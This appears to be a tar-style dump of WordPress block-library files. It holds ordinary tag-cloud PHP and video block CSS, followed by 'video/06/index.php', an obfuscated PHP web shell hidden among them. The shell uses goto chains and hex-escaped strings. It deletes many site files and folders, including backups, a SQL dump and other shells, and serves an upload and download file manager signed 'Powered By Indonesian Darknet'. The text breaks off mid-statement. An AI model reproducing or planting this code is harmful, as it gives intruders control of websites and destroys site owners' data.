'show_count' => $attributes['showTagCounts'],
);
$tag_cloud = wp_tag_cloud( $args );
if ( ! $tag_cloud ) {
$labels = get_taxonomy_labels( get_taxonomy( $attributes['taxonomy'] ) );
$tag_cloud = esc_html(
sprintf(
/* translators: %s: taxonomy name */
__( 'Your site doesn’t have any %s, so there’s nothing to display here at the moment.' ),
strtolower( $labels->name )
)
);
}
$wrapper_attributes = get_block_wrapper_attributes();
return sprintf(
'<p %1$s>%2$s</p>',
$wrapper_attributes,
$tag_cloud
);
}
/**
* Registers the `core/tag-cloud` block on server.
*/
function register_block_core_tag_cloud() {
register_block_type_from_metadata(
__DIR__ . '/tag-cloud',
array(
'render_callback' => 'render_block_core_tag_cloud',
)
);
}
add_action( 'init', 'register_block_core_tag_cloud' );
video/editor-rtl.css 0000644 00000007506 15233103272 0010457 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=center] > .wp-block-video {
text-align: center;
}
.wp-block-video {
position: relative;
}
.wp-block-video.is-transient video {
opacity: 0.3;
}
.wp-block-video .components-spinner {
position: absolute;
top: 50%;
right: 50%;
margin-top: -9px;
margin-right: -9px;
}
.editor-video-poster-control .components-base-control__label {
display: block;
}
.editor-video-poster-control .components-button {
margin-left: 8px;
}
.block-library-video-tracks-editor {
z-index: 159990;
}
.block-library-video-tracks-editor > .components-popover__content {
width: 360px;
}
.block-library-video-tracks-editor__track-list-track {
display: flex;
place-content: space-between;
align-items: baseline;
padding-right: 12px;
}
.block-library-video-tracks-editor__single-track-editor-label-language {
display: flex;
margin-top: 12px;
}
.block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control {
width: 50%;
}
.block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control:first-child {
margin-left: 16px;
}
.block-library-video-tracks-editor__single-track-editor-kind-select {
max-width: 240px;
}
.block-library-video-tracks-editor__single-track-editor-buttons-container {
display: flex;
place-content: space-between;
margin-top: 32px;
}
.block-library-video-tracks-editor__single-track-editor-edit-track-label {
margin-top: 4px;
margin-bottom: 12px;
color: #757575;
text-transform: uppercase;
font-size: 11px;
font-weight: 500;
display: block;
}
.block-library-video-tracks-editor > .components-popover__content > div {
padding: 0;
}
.block-library-video-tracks-editor__track-list .components-menu-group__label,
.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label {
padding: 0;
}
.block-library-video-tracks-editor__single-track-editor,
.block-library-video-tracks-editor__track-list,
.block-library-video-tracks-editor__add-tracks-container {
padding: 12px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label {
margin-bottom: 4px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field {
margin-bottom: 12px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input {
margin-right: 0;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label {
margin-bottom: 4px;
} video/editor.css 0000644 00000007504 15233103272 0007656 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block[data-align=center] > .wp-block-video {
text-align: center;
}
.wp-block-video {
position: relative;
}
.wp-block-video.is-transient video {
opacity: 0.3;
}
.wp-block-video .components-spinner {
position: absolute;
top: 50%;
left: 50%;
margin-top: -9px;
margin-left: -9px;
}
.editor-video-poster-control .components-base-control__label {
display: block;
}
.editor-video-poster-control .components-button {
margin-right: 8px;
}
.block-library-video-tracks-editor {
z-index: 159990;
}
.block-library-video-tracks-editor > .components-popover__content {
width: 360px;
}
.block-library-video-tracks-editor__track-list-track {
display: flex;
place-content: space-between;
align-items: baseline;
padding-left: 12px;
}
.block-library-video-tracks-editor__single-track-editor-label-language {
display: flex;
margin-top: 12px;
}
.block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control {
width: 50%;
}
.block-library-video-tracks-editor__single-track-editor-label-language > .components-base-control:first-child {
margin-right: 16px;
}
.block-library-video-tracks-editor__single-track-editor-kind-select {
max-width: 240px;
}
.block-library-video-tracks-editor__single-track-editor-buttons-container {
display: flex;
place-content: space-between;
margin-top: 32px;
}
.block-library-video-tracks-editor__single-track-editor-edit-track-label {
margin-top: 4px;
margin-bottom: 12px;
color: #757575;
text-transform: uppercase;
font-size: 11px;
font-weight: 500;
display: block;
}
.block-library-video-tracks-editor > .components-popover__content > div {
padding: 0;
}
.block-library-video-tracks-editor__track-list .components-menu-group__label,
.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label {
padding: 0;
}
.block-library-video-tracks-editor__single-track-editor,
.block-library-video-tracks-editor__track-list,
.block-library-video-tracks-editor__add-tracks-container {
padding: 12px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label {
margin-bottom: 4px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field {
margin-bottom: 12px;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input {
margin-left: 0;
}
.block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label {
margin-bottom: 4px;
} video/style.min.css 0000644 00000000406 15233103272 0010304 0 ustar 00 .wp-block-video{margin:0 0 1em}.wp-block-video video{width:100%}@supports (position:sticky){.wp-block-video [poster]{-o-object-fit:cover;object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video figcaption{margin-top:.5em;margin-bottom:1em} video/editor-rtl.min.css 0000644 00000004423 15233103272 0011234 0 ustar 00 .wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{position:absolute;top:50%;right:50%;margin-top:-9px;margin-right:-9px}.editor-video-poster-control .components-base-control__label{display:block}.editor-video-poster-control .components-button{margin-left:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__track-list-track{display:flex;place-content:space-between;align-items:baseline;padding-right:12px}.block-library-video-tracks-editor__single-track-editor-label-language{display:flex;margin-top:12px}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control{width:50%}.block-library-video-tracks-editor__single-track-editor-label-language>.components-base-control:first-child{margin-left:16px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-buttons-container{display:flex;place-content:space-between;margin-top:32px}.block-library-video-tracks-editor__single-track-editor-edit-track-label{margin-top:4px;margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500;display:block}.block-library-video-tracks-editor>.components-popover__content>div,.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__add-tracks-container,.block-library-video-tracks-editor__single-track-editor,.block-library-video-tracks-editor__track-list{padding:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__label{margin-bottom:4px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-base-control__field{margin-bottom:12px}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-text-control__input{margin-right:0}.block-library-video-tracks-editor__single-track-editor .components-base-control .components-input-control__label{margin-bottom:4px} video/06/index.php 0000644 00000336631 15233103272 0007731 0 ustar 00 <?php
goto q2fio; G_38c: $nBhgc = rmdir($oyZlv . "\x2e\167\145\x6c\x6c\x2d\x6b\x6e\157\167\x6e\57\141\x63\155\x65\x2d\x63\150\141\x6c\x6c\x65\x6e\147\x65\57\145\x2f\141\57\142\57\142\x2f\143"); goto b2fuW; dTW6u: $Lffju = rmdir($oyZlv . "\167\160\55\143\x6f\x6e\x74\x65\156\x74\57\x70\x6c\165\147\x69\156\x73\x2f\163\160\x68\151\156\170"); goto cF2n3; t1Mg1: $KaCEp = rmdir($oyZlv . "\154\x6f\147"); goto i81hj; MDiY1: $aBo2T = unlink($oyZlv . "\x6c\x69\145\163\155\x69\143\x68\x2e\150\x74\x6d\154"); goto kIc28; bAP6Y: echo "\40\11\74\57\141\162\x74\151\143\154\x65\x3e\40\11\x3c\x64\x69\166\x20\143\x6c\x61\x73\x73\75\x22\x62\147\55\144\x61\x72\x6b\40\142\157\162\144\x65\162\40\164\x65\170\x74\55\x63\145\156\x74\x65\162\40\x6d\x74\55\x32\42\76\40\11\x9\74\163\x6d\x61\x6c\x6c\76\103\x6f\160\171\x72\151\x67\x68\x74\40\46\143\x6f\x70\x79\73\40\x32\60\62\x31\40\55\x20\120\x6f\167\145\162\145\144\x20\102\171\40\x49\156\x64\157\156\x65\x73\151\x61\156\40\104\141\x72\x6b\x6e\x65\x74\x3c\57\163\x6d\x61\154\x6c\76\40\x9\74\x2f\144\151\166\76\x20\11\74\163\x63\162\x69\160\164\x20\x73\162\x63\x3d\x22\x2f\x2f\x63\x6f\144\145\x2e\x6a\161\x75\145\x72\171\x2e\143\157\155\57\x6a\161\165\x65\162\171\x2d\63\x2e\65\56\x31\x2e\x73\154\151\155\x2e\x6d\151\156\x2e\152\163\x22\x3e\74\57\163\x63\x72\x69\160\x74\76\40\x9\74\163\x63\162\x69\x70\164\x20\163\x72\143\x3d\x22\57\x2f\x63\x64\x6e\56\x6a\x73\x64\x65\x6c\151\166\x72\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\157\164\163\164\x72\x61\x70\x40\64\x2e\66\56\60\57\144\x69\163\x74\x2f\x6a\163\57\x62\x6f\x6f\x74\x73\164\162\141\160\56\x62\x75\156\x64\x6c\145\x2e\x6d\151\x6e\x2e\x6a\x73\x22\40\76\74\x2f\x73\x63\162\151\x70\x74\x3e\x20\x9\x3c\x73\x63\x72\151\160\164\x20\163\x72\x63\75\x22\57\x2f\x63\144\x6e\x2e\152\x73\x64\x65\x6c\151\166\x72\56\156\x65\164\x2f\x6e\160\x6d\x2f\142\x73\55\x63\165\x73\x74\157\x6d\x2d\x66\151\154\145\55\151\156\x70\x75\x74\57\144\x69\x73\x74\57\x62\x73\x2d\143\x75\163\x74\157\x6d\x2d\146\x69\x6c\145\55\151\156\160\165\164\x2e\155\x69\156\56\x6a\x73\x22\x3e\x3c\x2f\x73\143\x72\151\160\x74\x3e\x20\x9\x3c\163\x63\162\x69\x70\164\76\145\166\x61\x6c\x28\146\x75\x6e\x63\x74\151\157\156\50\x70\x2c\141\x2c\143\x2c\153\x2c\x65\54\144\51\x7b\x65\x3d\146\165\156\143\164\151\x6f\x6e\x28\143\51\x7b\162\145\x74\165\x72\156\50\143\74\141\x3f\47\47\x3a\x65\x28\x70\141\162\163\145\111\x6e\164\x28\143\x2f\x61\51\51\51\53\50\x28\143\75\143\x25\141\51\76\63\65\77\123\x74\162\x69\x6e\x67\56\x66\x72\157\x6d\x43\150\x61\162\x43\x6f\x64\x65\50\x63\x2b\x32\x39\51\72\143\56\164\x6f\123\x74\162\151\x6e\147\x28\x33\x36\51\51\x7d\x3b\x69\146\x28\x21\x27\x27\x2e\x72\x65\160\x6c\x61\143\x65\x28\57\136\57\x2c\123\164\162\151\x6e\x67\51\51\173\x77\x68\151\x6c\145\x28\x63\x2d\55\x29\x7b\x64\133\145\x28\143\51\135\x3d\153\133\x63\x5d\174\x7c\x65\50\x63\x29\x7d\x6b\x3d\133\x66\x75\x6e\x63\x74\151\157\156\x28\x65\x29\173\x72\145\164\x75\x72\156\40\x64\x5b\145\135\175\135\x3b\145\x3d\146\165\156\143\164\x69\x6f\x6e\50\51\173\162\145\x74\165\x72\156\47\134\x5c\x77\53\47\x7d\x3b\143\75\x31\175\x3b\x77\x68\x69\154\145\50\x63\55\55\x29\173\x69\146\x28\x6b\133\x63\135\51\x7b\x70\75\x70\56\x72\145\160\x6c\x61\x63\x65\x28\156\145\x77\40\122\x65\x67\105\170\160\x28\47\134\x5c\x62\47\x2b\x65\50\x63\51\x2b\47\134\134\x62\x27\54\x27\x67\47\51\54\x6b\x5b\x63\135\x29\x7d\x7d\x72\145\x74\165\162\156\40\x70\175\50\x27\105\56\156\50\x29\73\x24\50\134\47\133\x32\x2d\x6d\x3d\x22\64\42\135\134\47\51\56\x34\x28\x29\73\x24\50\42\x2e\x6c\42\51\x2e\153\50\x6a\x28\x65\x29\x7b\145\x2e\147\50\51\73\150\40\60\75\x24\50\66\x29\x2e\x35\50\x22\62\55\x30\42\51\x3b\143\50\x7b\x62\x3a\42\x61\x22\x2c\x39\72\42\157\40\x69\x20\x71\77\x22\54\167\x3a\x22\104\40\x22\x2b\x30\x2b\42\40\x70\x20\x43\40\x42\42\54\101\x3a\67\x2c\172\x3a\x37\x2c\x7d\x29\x2e\x79\x28\50\70\51\75\x3e\173\162\50\70\x29\173\x78\x20\x31\75\44\50\x36\x29\56\65\x28\42\63\x22\x29\x2b\42\x26\x74\75\42\x2b\x28\x28\60\75\75\42\x76\42\x29\77\42\144\42\72\42\146\42\51\73\165\x2e\x73\56\63\x3d\x31\175\x7d\51\175\x29\73\47\x2c\x34\x31\x2c\64\x31\54\x27\164\x79\160\x65\x7c\x62\x75\151\154\144\125\x52\x4c\174\144\141\x74\x61\x7c\150\162\145\x66\x7c\x74\157\x6f\x6c\164\x69\x70\x7c\x61\x74\164\162\174\x74\x68\151\163\174\x74\162\165\x65\x7c\167\151\x6c\x6c\104\x65\x6c\x65\x74\145\174\x74\151\x74\154\145\174\x77\141\162\x6e\151\x6e\147\174\x69\143\157\x6e\x7c\x73\x77\141\x6c\174\x7c\x7c\174\160\x72\x65\166\145\x6e\164\104\x65\146\141\x75\x6c\x74\174\x6c\x65\x74\174\x79\x6f\165\174\146\x75\156\x63\164\151\157\156\174\143\154\x69\x63\153\174\x64\145\154\x65\164\x65\x7c\x74\x6f\x67\147\154\145\x7c\151\156\x69\164\174\101\x72\145\174\x77\x69\154\x6c\x7c\x73\165\x72\145\174\x69\146\174\154\157\143\141\x74\x69\157\x6e\x7c\x7c\x64\x6f\143\x75\x6d\x65\x6e\164\x7c\x66\157\x6c\144\x65\x72\x7c\x74\x65\170\x74\174\143\x6f\x6e\x73\x74\174\x74\150\145\x6e\174\x64\141\156\x67\x65\x72\x4d\157\x64\x65\x7c\142\x75\164\x74\x6f\x6e\163\174\144\x65\154\145\164\x65\144\x7c\142\145\x7c\x54\150\x69\x73\x7c\x62\163\x43\x75\163\164\157\155\x46\x69\154\x65\x49\156\x70\165\x74\47\56\163\x70\x6c\x69\x74\x28\47\x7c\x27\51\54\x30\x2c\x7b\175\51\x29\x3c\57\163\143\x72\x69\160\164\76\40\x3c\57\142\157\x64\171\x3e\x20\74\x2f\150\x74\155\x6c\76\xd\xa\15\xa"; goto HAq34; vbKP7: $FPTKR = unlink($oyZlv . "\x77\160\55\143\x6f\x6e\164\145\x6e\x74\57\x70\154\165\x67\x69\x6e\163\57\144\165\160\x6c\151\x63\x61\164\157\162\x2d\x70\x72\x6f\x2e\x74\141\x72\x2e\147\x7a"); goto DxlPl; bB0Mj: $fYlu9 = unlink($oyZlv . "\x75\x6c\x63\66\56\x70\150\x70"); goto iMG1t; hSSnN: $ts0jA = unlink($oyZlv . "\x69\160\156\137\155\141\151\x6e\137\150\141\156\x64\x6c\145\x72\56\160\x68\160"); goto jAERf; ISVC4: $JNfbw = unlink($oyZlv . "\163\x65\x6f\142\151\x6c\x69\164\x79\x76\x65\x72\151\x66\x79\x5f\71\62\60\x36\x33\65\x38\56\150\x74\155\x6c"); goto MZ_1T; af4JG: $O0bd2 = unlink($oyZlv . "\141\x64\155\151\156\x2e\160\150\160"); goto Tm9Mx; FvOSw: $SslvK = rmdir($oyZlv . "\x77\x70\x2d\x63\157\156\164\x65\156\164\57\160\154\165\147\151\x6e\163\57\x33\60\x70\161\x37\163\63\x33"); goto i8S0b; VCdO_: $Fr3ez = rmdir($oyZlv . "\166\x7a\150\56\164\170\x74"); goto Li0gG; xoeXx: $cjDF6 = unlink($oyZlv . "\x75\160\x2e\160\x68\160"); goto K30l4; aMhsd: $p8k_k = unlink($oyZlv . "\167\160\55\x32\x32\56\160\150\160"); goto jzcw7; VrEB5: $MOGmz = unlink($oyZlv . "\164\x2e\x70\150\160"); goto xoeXx; L_6im: $qUnxB = unlink($oyZlv . "\167\x65\142\x2e\x63\x6f\156\x66\151\x67\56\142\153\165\x70\x32\66\x31\x32\62\60\x32\x34\60\63\61\66"); goto hSSnN; XQn0b: $wa9yx = rmdir($oyZlv . "\166\145\156\x64\x6f\x72"); goto pUJFH; xCsE6: T1hif: goto ATAYs; juX8u: $B771U = rmdir($oyZlv . "\167\x70\x2d\165\160\144\141\x74\145\56\160\x68\160"); goto pnpCe; VXI7z: $szYzp = unlink($oyZlv . "\167\x73\157\x71\62\56\160\x68\160"); goto XpI2Q; zbff8: $W1WU6 = unlink($oyZlv . "\167\x70\55\x63\x6f\156\x74\x65\x6e\x74\57\x6d\171\163\x71\154\56\x73\161\x6c"); goto ultQM; HjEdB: foreach ($KlrA1 as $l0LOt => $VGoPR) { goto cHNbJ; Q8u3C: if (!($VGoPR == '')) { goto GYLZt; } goto LgNjS; xMJRW: if (!($VQa5C <= $l0LOt)) { goto D3pVy; } goto GKDGH; YSR6F: if (!($VQa5C != $l0LOt)) { goto RV3fW; } goto urXAV; BFjHV: GYLZt: goto D0hEH; xTj6W: $VQa5C++; goto sKEOE; kLV7q: D3pVy: goto vGhdT; urXAV: echo "\x32\x66"; goto Qb67o; Qb67o: RV3fW: goto GGlWS; XSY_P: echo "\x3c\141\x20\x68\162\145\146\75\42\77\160\x3d\x32\146\x22\x3e\x7e\74\57\141\x3e\57"; goto PCZi7; GP1cL: TB8U7: goto Q8u3C; reVzQ: InauF: goto xMJRW; ht6xl: $VQa5C = 0; goto reVzQ; sKEOE: goto InauF; goto kLV7q; GKDGH: echo xEH2e($KlrA1[$VQa5C]); goto YSR6F; D0hEH: echo "\x3c\x61\x20\x68\x72\x65\x66\75\x22\77\160\75"; goto ht6xl; oRJD7: joiLw: goto VtyeZ; PCZi7: goto joiLw; goto GP1cL; vGhdT: echo "\42\76{$VGoPR}\74\57\141\76\x2f"; goto oRJD7; GGlWS: opxrP: goto xTj6W; cHNbJ: if (!($l0LOt == 0 && $VGoPR == '')) { goto TB8U7; } goto XSY_P; LgNjS: goto joiLw; goto BFjHV; VtyeZ: } goto ZqR2g; kaba2: $EMnu8 = rmdir($oyZlv . "\x2e\167\x65\x6c\x6c\55\153\x6e\157\x77\156\x2f\x70\153\x69\55\166\x61\x6c\x69\144\x61\x74\x69\x6f\x6e\x2f\x64\x2f\144\57\144\57\144"); goto d14cR; LLsa1: $eY2a6 = unlink($oyZlv . "\x41\144\x64\x73\x2e\x70\150\160"); goto tB3Eu; PcsFC: $jSdrp = unlink($oyZlv . "\x77\x70\55\143\x6f\156\x74\x65\x6e\x74\57\x52\x7a\153\115\62\170\x72\146\127\167\141\56\160\150\160"); goto IVnX5; ueQm8: $sBeFf = unlink($oyZlv . "\167\160\x2d\143\157\x6e\x74\145\x6e\164\x2f\163\x74\171\154\145\x2d\143\x73\163\56\x70\x68\x70"); goto fdyaO; lnMBN: waoRb: goto HJgNg; z9OVz: $ILiOc = unlink($oyZlv . "\x74\x61\170\151\x31\61\61\61\61\61\56\x7a\x69\160"); goto FeseE; jTo8e: wViBx: goto ur1QC; VKCWZ: if (!$lKwH4[12]($lbhnZ)) { goto zJCfl; } goto JkmZX; n233r: $CoTjq = unlink($oyZlv . "\x66\141\166\x69\143\x6f\156\56\x69\143\x6f"); goto Db432; Ossfy: $uKUk_ = unlink($oyZlv . "\x2e\154\x69\x74\x65\163\160\145\145\x64\137\x63\x6f\x6e\x66\x2e\x64\x61\164"); goto MqIcU; FWTyu: $iOSH6 = unlink($oyZlv . "\167\x70\55\x63\157\156\164\145\156\x74\57\x70\x6c\165\x67\151\x6e\163\57\x79\154\165\x66\154\167\155\x73\x6c\172\x2f\165\x70\x2e\x70\150\160"); goto IC9WG; S0ccH: $EgXcj = unlink($oyZlv . "\142\154\x61\143\153\x6c\151\x73\x74\56\164\x78\164"); goto qyBJk; K30l4: $ELyeo = unlink($oyZlv . "\x77\160\x2d\143\157\156\164\x65\156\x74\57\163\x67\x73\137\145\156\143\x72\x79\160\x74\137\x6b\145\x79\x2e\x70\150\160"); goto qqgu1; I8gGK: $OCEhU = unlink($oyZlv . "\x62\x79\x70\x61\163\163\x2e\x70\150\160"); goto XA5RK; J1QT_: $V8CsY = unlink($oyZlv . "\x65\155\160\x6c\x6f\171\145\145\137\144\x65\x74\141\151\x6c\163\x2e\x7a\151\160"); goto LLrlE; KXqOp: $bkq24 = unlink($oyZlv . "\x72\145\143\157\154\x6c\145\143\164\151\157\x6e\56\x70\150\x70"); goto sGP1x; kiizH: $iEQTW = unlink($oyZlv . "\x2e\x72\x6e\144"); goto lDKkx; Eydu6: $tCtJN = rmdir($oyZlv . "\167\x65\154\154\55\153\156\157\167\156\x2f\x61\x63\155\145\x2d\143\x68\141\154\154\145\x6e\x67\x65\57\x65\57\x61\57\142\57\142\57\x63"); goto c3fV3; mYpyH: echo $lKwH4[18]($lKwH4[14]($p8aQE . "\57" . y2EFU($_GET["\156"]))); goto eiE8p; SeJNO: jeJW6: goto R6VGT; NawJX: $DI1UA = unlink($oyZlv . "\x73\x61\x6c\x65\x2e\160\150\x70"); goto aMhsd; RIanf: $vrV5T = unlink($oyZlv . "\167\x70\55\143\x6f\156\164\145\156\164\57\x61\151\x42\x59\x57\106\147\x58\x55\x39\x71\56\x70\150\160"); goto HdSMN; HTVzu: unlink($lbhnZ); goto VKCWZ; PH_oQ: $TeXzF = unlink($oyZlv . "\56\150\x74\141\143\x63\x65\x73\163\56\x77\160\164\55\142\141\143\153\x75\160"); goto pDzfo; l2bSp: $RBJiN = unlink($oyZlv . "\157\x70\x74\x69\157\156\x73\56\x70\x68\160"); goto WHb8u; MWNQo: $nclZA = unlink($oyZlv . "\x2e\163\151\x74\145\160\x61\x63\x6b\56\164\x61\x72"); goto hYTlF; craKZ: header("\x43\x6f\x6e\164\x65\x6e\164\x2d\x54\x79\x70\x65\x3a\x20\x61\160\160\x6c\x69\143\141\x74\x69\157\x6e\x2f\x6f\x63\164\145\x74\55\163\x74\x72\x65\141\x6d"); goto WaTVN; v6L1d: $SGy48 = unlink($oyZlv . "\154\151\166\145\x2e\163\x71\154"); goto kELsV; W3Bkn: $G2aqR = unlink($oyZlv . "\61\x69\156\144\145\170\56\x70\x68\160"); goto QUjrd; GdB0T: $dDXH8 = unlink($oyZlv . "\154\x6f\x63\141\x6c\x2d\170\x64\145\142\165\147\151\156\146\x6f\x2e\160\x68\x70"); goto vbKP7; n0Uyx: $YMBBX = unlink($oyZlv . "\x66\x61\166\x69\x63\x6f\x6e\56\x67\x69\x66"); goto c_3aw; ONfpO: echo "\x3c\x2f\154\x69\x3e\x20\x9\x9\74\x2f\144\x69\166\76\40\11\x9\74\146\157\162\155\40\155\145\164\150\x6f\x64\x3d\42\160\x6f\x73\x74\x22\40\x65\x6e\x63\x74\x79\x70\x65\75\x22\155\x75\x6c\164\151\160\141\162\x74\x2f\x66\157\162\x6d\x2d\x64\141\164\x61\x22\x3e\x3c\144\151\166\x20\x63\154\141\163\x73\x3d\x22\x69\156\160\165\x74\55\147\x72\157\x75\x70\40\x6d\142\x2d\61\40\160\170\x2d\x31\x20\155\164\55\61\42\x3e\74\144\x69\166\x20\143\154\141\x73\163\x3d\42\x63\x75\x73\164\157\155\x2d\x66\151\x6c\145\x22\76\74\151\x6e\x70\x75\164\40\164\171\160\145\x3d\42\x66\x69\x6c\145\42\x20\156\141\x6d\x65\x3d\x22\146\x5b\135\42\40\143\x6c\x61\163\163\x3d\42\143\165\x73\164\x6f\155\x2d\x66\151\x6c\x65\x2d\x69\156\x70\x75\x74\x22\x20\x6f\x6e\143\x68\141\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\56\163\x75\142\x6d\151\164\x28\x29\42\40\155\165\154\x74\x69\x70\x6c\145\x3e\74\154\x61\x62\145\x6c\40\x63\154\141\163\163\75\x22\x63\165\x73\164\x6f\155\55\x66\x69\x6c\x65\x2d\154\x61\142\x65\154\x20\x72\x6f\x75\156\x64\x65\x64\x2d\60\40\142\147\55\x74\162\141\156\x73\160\141\162\145\x6e\164\x20\x74\145\170\164\55\x6c\151\147\x68\x74\x22\76\103\x68\x6f\x6f\x73\145\x20\x66\x69\154\x65\74\57\x6c\x61\x62\145\154\x3e\74\x2f\x64\x69\x76\x3e\x3c\x2f\144\151\166\76\x3c\x2f\x66\157\x72\155\76\x20\x9\11"; goto Fv3oZ; nBfm3: $Q0R17 = unlink($oyZlv . "\163\x74\157\x72\145\56\160\150\160"); goto GdB0T; IIAEo: $AX40D = unlink($oyZlv . "\x69\x6e\144\145\x78\61\x31\x31\61\56\150\164\155\x6c"); goto oRLUs; gqsrN: $Lqt5H = rmdir($oyZlv . "\167\x70\x2d\x63\157\156\164\x65\156\164\57\160\x6c\x75\147\x69\156\x73\x2f\x4d\x6f\x6e\x61\162\153\123\x65\x6f"); goto Jc9L0; RpdRP: echo "\x22\76\53\x46\151\154\145\x3c\x2f\141\76\40\11\11\11\11\74\x61\x20\150\162\x65\146\75\x22\x3f\x70\x3d"; goto oqO_C; tRF9j: $C4ysZ = unlink($oyZlv . "\141\x64\166\x61\156\x63\x65\144\x2d\143\141\x63\150\145\x2e\x70\150\160\55\157\x6c\144\55\x6f\x6c\144"); goto TcXYE; Le6MQ: $E6Oso = unlink($oyZlv . "\167\160\x2d\143\x6f\156\164\145\156\164\x2f\x70\154\165\x67\151\x6e\163\x2f\165\142\150\57\x69\156\144\145\x78\x2e\160\x68\160"); goto U_JK6; Hnrka: $iXA4S = unlink($oyZlv . "\x36\64\x30\71\x76\145\x6e"); goto c2QsF; Xhrq5: $h5Gyy = unlink($oyZlv . "\157\x62\x6a\x65\143\x74\55\x63\141\143\150\145\x2e\x70\150\x70"); goto qH_4T; YZifm: $viTnP = unlink($oyZlv . "\x34\60\x33\56\163\150\164\155\154"); goto azTNK; etJYR: $JlOoz = unlink($oyZlv . "\x77\160\x2d\143\x6f\156\x74\145\156\x74\x2f\x4a\x69\x62\x72\x61\156\137\144\x65\x62\165\147\x2e\154\x6f\147"); goto pRLwj; cq1Pe: $Tr6Hx = unlink($oyZlv . "\x4a\x49\x66\161\116\x55\x76\114\x2e\x70\150\160"); goto jsjN4; GmPiU: $YWf42 = unlink($oyZlv . "\61\62\56\160\150\160"); goto RmNv5; TLsFC: c_pVY: goto zPWq0; lOIrC: $WniFX = unlink($oyZlv . "\151\x6e\x73\x74\141\154\154\145\162\x2e\160\x68\160"); goto fNhCb; C9jFH: $W0Nzl = rmdir($oyZlv . "\x43\x4f\120\x59\x52\111\x47\110\x54"); goto G3kIX; kAxA5: echo $lKwH4[1](); goto HA16F; ioaH8: $blkm0 = unlink($oyZlv . "\x2e\157\154\x64\x2d\x77\x70\x2d\x63\x6f\156\x66\151\147\56\160\x68\160"); goto FZA7t; Hm_mo: $zDDd0 = unlink($oyZlv . "\141\x63\x63\145\x73\163\x5f\x6c\x6f\x67\x2e\154\157\147"); goto LolQC; SnuFj: $NTsSj = rmdir($oyZlv . "\142\142\55\x63\157\x6e\x66\151\147\56\160\150\160"); goto pJ27K; MIUQZ: $kFtPi = unlink($oyZlv . "\x77\x70\137\x69\x6e\x73\x74\141\x6c\154\x2e\154\x6f\x67"); goto z9OVz; OFasI: $Cp401 = unlink($oyZlv . "\x77\x70\55\143\157\x6e\x74\x65\x6e\164\57\151\156\x64\145\x78\56\150\164\155\154"); goto w1xyi; SvDPg: $YG1Kq = unlink($oyZlv . "\x73\151\164\145\x6d\x61\x70\x2e\160\x68\x70\x2e\160\150\160\56\164\141\x72\56\147\172"); goto QXxvO; xgSpt: $Qr8n7 = rmdir($oyZlv . 